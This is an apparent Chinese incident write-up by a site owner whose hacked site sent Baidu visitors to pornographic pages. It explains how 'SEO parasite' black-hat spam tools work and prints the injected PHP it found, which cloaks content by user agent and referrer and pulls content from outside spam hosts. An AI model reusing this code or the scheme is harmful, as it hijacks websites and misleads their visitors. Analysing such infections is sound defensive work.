网站被入侵了,百度收录的链接会跳转到一些带颜色(黄色)的网站
在百度site 了一下明显可以看到收录的seo 关键词等信息都不太对劲
这里就不截图了给大家看了,涉及到客户隐私什么的
通过查阅一系列资料(一通百度)发现了一个叫seo 寄生虫的东西和我这个场景很像
接下来就需要了解一下seo寄生虫了
通俗易懂的介绍
SEO寄生虫的排名工作原理
- SEO寄生虫程序区别于很多黑帽seo程序,那么SEO寄生虫大家都不陌生,但寄生虫真正的工作原理,是为了更高效率的生存,首先要知道寄生虫的前身是泛目录,泛目录的前身是目录轮链,目录轮链的前身是桥页。寄生虫分为客户端与服务端,新手会有顾虑,为何搞出服务端这么麻烦,但如果是大批量操作,寄生虫非常节省时间,协助能力也非常的高。
- SEO寄生虫的原理是通过客户端获取服务器端信息繁殖,因此客户端就很简单,只有一个文件,但客户端放到Shell网站,即可指定的获取服务器端信息,服务器端信息配置更新,客户端也会对新的信息进行生成轮链。那么客户端是获取服务器端信息的,同样就需要配置服务器端,服务器端进行一次配置。以后不管有几个Shell站,都可以同时用服务器端配置好的信息。配置好服务器端后,客户端获取地址填写架设服务器端的地址,客户端放到自己网站、放到Shell站中即会产生数十个目录轮链地址,此时你看到的并不是和泛目录一样有很多的目录,寄生虫是繁殖的,通过百度蜘蛛或者人工每次访问,在有访问的情况下,不管是人工还是蜘蛛,都会在进行繁殖生成的。这就是寄生虫繁殖的功能,每次生成数十个页面,通过蜘蛛的来访,会再繁殖几十个页面,以此循环。
- SEO寄生虫繁殖可以通过多个Shell无限繁殖,那么值得一说的,寄生虫同样有Shell站群功能,通过不同的Shell生成,客户端会返回URL数据到服务器端,服务器端记录下此次的繁殖数据,在下次不同的Shell进行繁殖,会链接上上一次繁殖的页面。寄生虫站群相互链接功能,在多个Shell中,寄生虫会记录每个URL并进行相互的站群导入导出轮链操作。
根据大佬的经验,说这种情况只有两种技术可以实现
- 通过js 判断 useragent 做跳转
- 通过php 判断 useragent 做跳转
现在我遇到的场景是如果直接访问站点链接是正常的页面,如果是从搜索引擎点击进去就会跳转到那些乱七八糟的页面,原理是相通的,看下代码分析分析
<?phpset_time_limit(30);error_reporting(0);$tr = "stristr";$er = $_SERVER;ini_set('user_agent','Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)');define('url', $er['REQUEST_URI']);define('ref', $er['HTTP_REFERER']);define('ent', $er['HTTP_USER_AGENT']);define('site', "http://x.xtguke.com/");define('road', "?/" .$er['HTTP_HOST'] . url);define('regs', '@Baidu|Sogou|Yisou|Haosou|Spider|So.com|Sm.cn@i');define('area', $tr(url, ".xml") or $tr(url, ".doc") or $tr(url, ".txt") or $tr(url, ".ppt") or $tr(url, ".xls") or $tr(url, ".csv") or $tr(url, ".shtml") or $tr(url, ".bug") or $tr(url, ".fdc") or $tr(url,".znb")or $tr(url,".msl")or $tr(url,".mdb")or $tr(url,".love")and $tr(url, "?"));if (area && preg_match(regs, ref)) { echo file_get_contents('http://x.xtguke.com/1.html'); exit;}if (preg_match(regs, ent)) { if (area) { echo g1(site.road); exit; } else { echo g1("http://w.lushan.la/?zz"); ob_flush(); flush(); }}function g1($d){ $e = array('http' => array('method' => "GET")); $i = stream_context_create($e); $j = file_get_contents($d); if (!empty($j)) { return $j; }}